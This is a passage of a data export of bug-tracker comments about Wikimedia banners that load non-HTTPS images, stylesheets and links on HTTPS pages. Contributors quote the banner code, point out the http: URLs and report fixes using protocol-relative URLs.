Maybe they're flipping them on and off... where might they be hiding...",,,1321486090,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-93,True,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,12.0,12.0,3.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,3.7941176470588234,0.8823529411764706,"Hrmmmmm well I don't see *any* fundraising banners on Commons, even logged out.

Maybe they're flipping them on and off... where might they be hiding..."
148235,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:

I can see it on commons (not logged in because I closed banner under my account).

When on https://commons.wikimedia.org

The image is http://upload.wikimedia.org/wikipedia/foundation/7/73/Jimmy_jacket_forest.png

The link is https://wikimediafoundation.org/wiki/Special:LandingCheck?landing_page=L11_1114_FR_Jimmy&utm_medium=sitenotice&utm_campaign=C11_1114_WMFR&utm_source=B11_1114_Foundation_WMFR_JimmyGreen&language=en&country=FR

But the problem is not to correct banner but to inform banner creators. Otherwise this bug will be reopened for each new banner.",,,1321485750,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-93,True,1.0,0.0,0.0,1.0,3.0,1.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,12.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,6.0,15.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4776119402985075,0.6865671641791045,"**lambdav** wrote:

I can see it on commons (not logged in because I closed banner under my account).

When on URL

The image is URL

The link is URL

But the problem is not to correct banner but to inform banner creators. Otherwise this bug will be reopened for each new banner."
148230,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"The banners I'm currently seeing logged out on https://en.wikipedia.org/ do not appear to include any non-SSL resources. (I'm seeing two Jimmy banners, no mobile user survey banners.)

Can you copy-paste the target link from any triggering banners you're still seeing?",,,1321481368,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-93,True,4.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,2.0,6.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,6.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,7.0,7.0,4.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.8518518518518516,0.7962962962962963,"The banners I'm currently seeing logged out on URL do not appear to include any non-SSL resources. (I'm seeing two Jimmy banners, no mobile user survey banners.)

Can you copy-paste the target link from any triggering banners you're still seeing?"
148226,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:

New global banners -> The problem come back.

I request that everybody creating any global banner knows that http: prefix should be removed from any URL pointer to Wikimedia server.

URL should be protocol relative in links, resource locations, script locations, ...",,,1321479376,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-93,True,3.0,2.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,10.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,8.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.169491525423729,0.7288135593220338,"**lambdav** wrote:

New global banners -> The problem come back.

I request that everybody creating any global banner knows that http: prefix should be removed from any URL pointer to Wikimedia server.

URL should be protocol relative in links, resource locations, script locations, ..."
148223,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:

Thanks again for resolution.",,,1318937947,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3846153846153846,0.7692307692307693,"**lambdav** wrote:

Thanks again for resolution."
148218,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**ngautam** wrote:

That banner has several issues with it and should not be used at all...I've intentionally blanked it so if it does get turned on by mistake it doesn't cause any problems.",,,1318877931,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,7.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,14.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,14.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.697674418604651,0.8372093023255814,"**ngautam** wrote:

That banner has several issues with it and should not be used at all...I've intentionally blanked it so if it does get turned on by mistake it doesn't cause any problems."
148212,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:


Some http: still exists in
https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=2011MobileReaders_anon

Thanks for resolution on other messages.",,,1318872294,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4583333333333335,0.8333333333333334,"**lambdav** wrote:


Some http: still exists in
URL

Thanks for resolution on other messages."
148206,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**ngautam** wrote:

All sorts of randomness was broken on this...all the URLs should be relative on those two active campaigns.",,,1318869348,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,7.0,0.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,24.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,7.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7586206896551726,0.8620689655172413,"**ngautam** wrote:

All sorts of randomness was broken on this...all the URLs should be relative on those two active campaigns."
148199,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:

No one seems to react quickly...",,,1318848229,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.066666666666667,0.8,"**lambdav** wrote:

No one seems to react quickly..."
148191,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:

And still many occurrence of http: in
https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=WCI_Registration",,,1318534053,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.7777777777777778,"**lambdav** wrote:

And still many occurrence of http: in
URL"
148182,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:

I still cannot see changes. The http: prefix is still present in 2 templates used by the banner (6 occurrences) :


4 occurrences of http: in
https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=2011MobileReaders_anon

...
#mobileSurvey2011-logo {
  position: absolute;
  top: 20px;
  left: 25px;
                    /** vvvvv-HERE **/
  background-image: url(http://upload.wikimedia.org/wikipedia/commons/thumb/1/12/Wikimedia_logo_text_RGB.svg/60px-Wikimedia_logo_text_RGB.svg.png);

...
<div id=""mobileSurvey2011"">
  <div id=""mobileSurvey2011-logo""> </div>
  <div id=""mobileSurvey2011-content"">
    <span style=""font-size: 1.3em;"">{{{please-take}}}</span><br />
    <span style=""font-style: italic; font-size: 0.9em;"">{{{share}}}</span>
  </div>
  <div id=""cn-toggle-box"">
<!--                                                                                                      vvvvv-HERE      -->
    <a href=""#"" onclick=""toggleNotice();$('#mobileSurvey2011').hide();return false;""><img border=""0"" src=""http://bits.wikimedia.org/skins-1.17/common/images/closewindow.png"" alt=""Close"" /></a>

...
<script type=""text/javascript"">
//include throttle
var throttle = 5;
var throttleVal = Math.floor(Math.random() * throttle);
if (throttleVal == 0 ) {
  $('#mobileSurvey2011').show();
/*                                               vvvvv-HERE      */
  $('head').append('<link rel=""stylesheet"" href=""http://wikimediafoundation.org/tracker/bannerImpression.php?req=css&surveyView=1 "" type=""text/css"" />');
/*           vvvvv-HERE      */
  var url = 'http://wikimedia.limequery.org/52291/lang-'+wgUserLanguage;
...


2 occurrences of http: in
https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=2011MobileReaders
...
#mobileSurvey2011-logo {
  position: absolute;
  top: 20px;
  left: 25px;
/*                      vvvvv-HERE */
  background-image: url(http://upload.wikimedia.org/wikipedia/commons/thumb/1/12/Wikimedia_logo_text_RGB.svg/60px-Wikimedia_logo_text_RGB.svg.png);
  height: 60px;
  width: 60px;
  background-repeat: no-repeat;
}

...
<script type=""text/javascript"">
//include throttle
var throttle = 3;
var throttleVal = Math.floor(Math.random() * throttle);
if (throttleVal == 0 ) {
  $('#mobileSurvey2011').show();
  $('head').append('<link rel=""stylesheet"" href=""//wikimediafoundation.org/tracker/bannerImpression.php?req=css&surveyView=1 "" type=""text/css"" />');
/*           vvvvv-HERE */
  var url = 'http://wikimedia.limequery.org/52291/lang-'+wgUserLanguage;
  $(""#mobileSurvey2011 a.variable_lp"").attr(""href"",url);
...",,,1318529342,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,0.0,0.0,0.0,0.0,0.2,1.8,0.2,0.0,0.0,0.4,0.6,1.8,0.0,0.0,0.0,0.2,0.0,0.6,1.8,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.2,0.2,0.2,0.0,0.6,0.0,0.0,0.0,0.6,0.0,0.0,0.0,0.0,0.4,0.0,0.0,0.0,0.0,0.0,19.4,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.6,0.2,2.8,0.4,0.0,0.8,0.0,0.0,0.2,1.2,0.6,0.0,1.8,0.0,0.6,1.8,7.6,0.0,5.2,0.0,0.6,0.0,0.0,0.2,0.0,0.2,0.0,0.4,6.8,4.130747126436782,0.5169540229885057,"**lambdav** wrote:

I still cannot see changes. The http: prefix is still present in 2 templates used by the banner (6 occurrences) :


4 occurrences of http: in
URL

...
#mobileSurvey2011-logo {
  position: absolute;
  top: 20px;
  left: 25px;
                    /** vvvvv-HERE **/
  background-image: url(URL

...
<div id=""mobileSurvey2011"">
  <div id=""mobileSurvey2011-logo""> </div>
  <div id=""mobileSurvey2011-content"">
    <span style=""font-size: 1.3em;"">{{{please-take}}}</span><br />
    <span style=""font-style: italic; font-size: 0.9em;"">{{{share}}}</span>
  </div>
  <div id=""cn-toggle-box"">
<!--                                                                                                      vvvvv-HERE      -->
    <a href=""#"" onclick=""toggleNotice();$('#mobileSurvey2011').hide();return false;""><img border=""0"" src=""URL alt=""Close"" /></a>

...
<script type=""text/javascript"">
//include throttle
var throttle = 5;
var throttleVal = Math.floor(Math.random() * throttle);
if (throttleVal == 0 ) {
  $('#mobileSurvey2011').show();
/*                                               vvvvv-HERE      */
  $('head').append('<link rel=""stylesheet"" href=""URL "" type=""text/css"" />');
/*           vvvvv-HERE      */
  var url = 'URL
...


2 occurrences of http: in
URL
...
#mobileSurvey2011-logo {
  position: absolute;
  top: 20px;
  left: 25px;
/*                      vvvvv-HERE */
  background-image: url(URL
  height: 60px;
  width: 60px;
  background-repeat: no-repeat;
}

...
<script type=""text/javascript"">
//include throttle
var throttle = 3;
var throttleVal = Math.floor(Math.random() * throttle);
if (throttleVal == 0 ) {
  $('#mobileSurvey2011').show();
  $('head').append('<link rel=""stylesheet"" href=""//wikimediafoundation.org/tracker/bannerImpression.php?req=css&surveyView=1 "" type=""text/css"" />');
/*           vvvvv-HERE */
  var url = 'URL
  $(""#mobileSurvey2011 a.variable_lp"").attr(""href"",url);
..."
148173,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"(In reply to comment #8)
> Appropriate changes made to banner

Thanks for taking care of it so quick Nimish.",,,1318524563,,PHID-USER-qmantxp3p7omhisp3qgq,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,5.0,20.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.25,1.0,"(In reply to comment #8)
QUOTE

Thanks for taking care of it so quick Nimish."
148165,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**ngautam** wrote:

Appropriate changes made to banner",,,1318524171,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.769230769230769,0.7692307692307693,"**ngautam** wrote:

Appropriate changes made to banner"
148157,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"Assigning to Tomasz, he'll know who to poke. :)",,,1318522560,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-98,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,3.25,0.9166666666666666,"Assigning to Tomasz, he'll know who to poke. :)"
148153,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:

Internet Explorer 9 debugging tools reports the ""HTTPS compromised security"" error message for the following 2 files :
  http://bits.wikimedia.org/skins-1.17/common/images/closewindow.png
  http://wikimediafoundation.org/tracker/banner/Impression.php?req=css&surveyView=1

It need to be fixed by using protocol relative URLs, by removing the http prefix:
  //bits.wikimedia.org/skins-1.17/common/images/closewindow.png
  //wikimediafoundation.org/tracker/banner/Impression.php?req=css&surveyView=1",,,1318520917,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-98,True,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,6.0,13.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,4.914285714285715,0.7142857142857143,"**lambdav** wrote:

Internet Explorer 9 debugging tools reports the ""HTTPS compromised security"" error message for the following 2 files :
  URL
  URL

It need to be fixed by using protocol relative URLs, by removing the http prefix:
  //bits.wikimedia.org/skins-1.17/common/images/closewindow.png
  //wikimediafoundation.org/tracker/banner/Impression.php?req=css&surveyView=1"
148149,Mobile user survey banner includes non-HTTPS content on HTTPS page view,Yeah that banner needs to be fixed!,,,1318023260,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-99,True,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,Yeah that banner needs to be fixed!
148147,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"Now that you've posted the note, is there anything else to do?",,,1318023217,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-99,True,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,13.0,13.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,"Now that you've posted the note, is there anything else to do?"
148145,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"I added a note on [[meta:Help:CentralNotice]] recommending use of protocol-relative URLs for images.

https://meta.wikimedia.org/wiki/Help:CentralNotice#Images",,,1318015788,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-99,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,3.576923076923077,0.8846153846153846,"I added a note on [[meta:Help:CentralNotice]] recommending use of protocol-relative URLs for images.

URL"
148142,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"These seem to be the offending banners:

http://meta.wikimedia.org/w/index.php?title=Special:CentralNotice&method=listNoticeDetail&notice=Mobile+Readers+Survey

http://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=2011MobileReaders_anon",,,1318015236,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-99,True,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,25.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.5833333333333335,0.8333333333333334,"These seem to be the offending banners:

URL

URL"
148138,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"The offending image seems to be http://bits.wikimedia.org/skins-1.17/common/images/closewindow.png

Here's the banner-loader output that triggers:


insertBanner({""bannerName"":""2011MobileReaders"",""bannerHtml"":""<style type=\""text\/css\"">\n\n#centralNotice.collapsed #mobileSurvey2011 {\n  display: none;\n }\n\n#mobileSurvey2011 {\n  position: relative;\n  overflow: hidden;\n  margin-bottom: 0.5em !important;\n  background-color: #d7e4fa;\n  background-repeat: repeat-x;\n  border: solid 1px #a7d7f9; \n  display: none;\n}\n\n#mobileSurvey2011-content {\n  position:relative;\n  padding: 30px 80px;\n  text-align: center;\n}\n\n#mobileSurvey2011-logo {\n  position: absolute;\n  top: 20px;\n  left: 25px;\n  background-image: url(http:\/\/upload.wikimedia.org\/wikipedia\/commons\/thumb\/1\/12\/Wikimedia_logo_text_RGB.svg\/60px-Wikimedia_logo_text_RGB.svg.png);\n  height: 60px;\n  width: 60px;\n  background-repeat: no-repeat;\n}\n\n#mobileSurvey2011 #cn-toggle-box {\n  position: absolute;\n  z-index: 98;\n  top: 5px;\n  right: 5px;\n }\n<\/style>\n\n<div id=\""mobileSurvey2011\"">\n  <div id=\""mobileSurvey2011-logo\""> <\/div>\n  <div id=\""mobileSurvey2011-content\"">\n    <span style=\""font-size: 1.3em;\"">Please take the <a class=\""variable_lp\"" href=\""#\"">2011 Wikipedia Mobile Readers Survey<\/a>.<\/span><br \/>\n    <span style=\""font-style: italic; font-size: 0.9em;\"">Share your experiences and improve mobile Wikipedia.<\/span>\n  <\/div>\n  <div id=\""cn-toggle-box\"">\n    <a href=\""#\"" onclick=\""toggleNotice();$('#mobileSurvey2011').hide();return false;\""><img border=\""0\"" 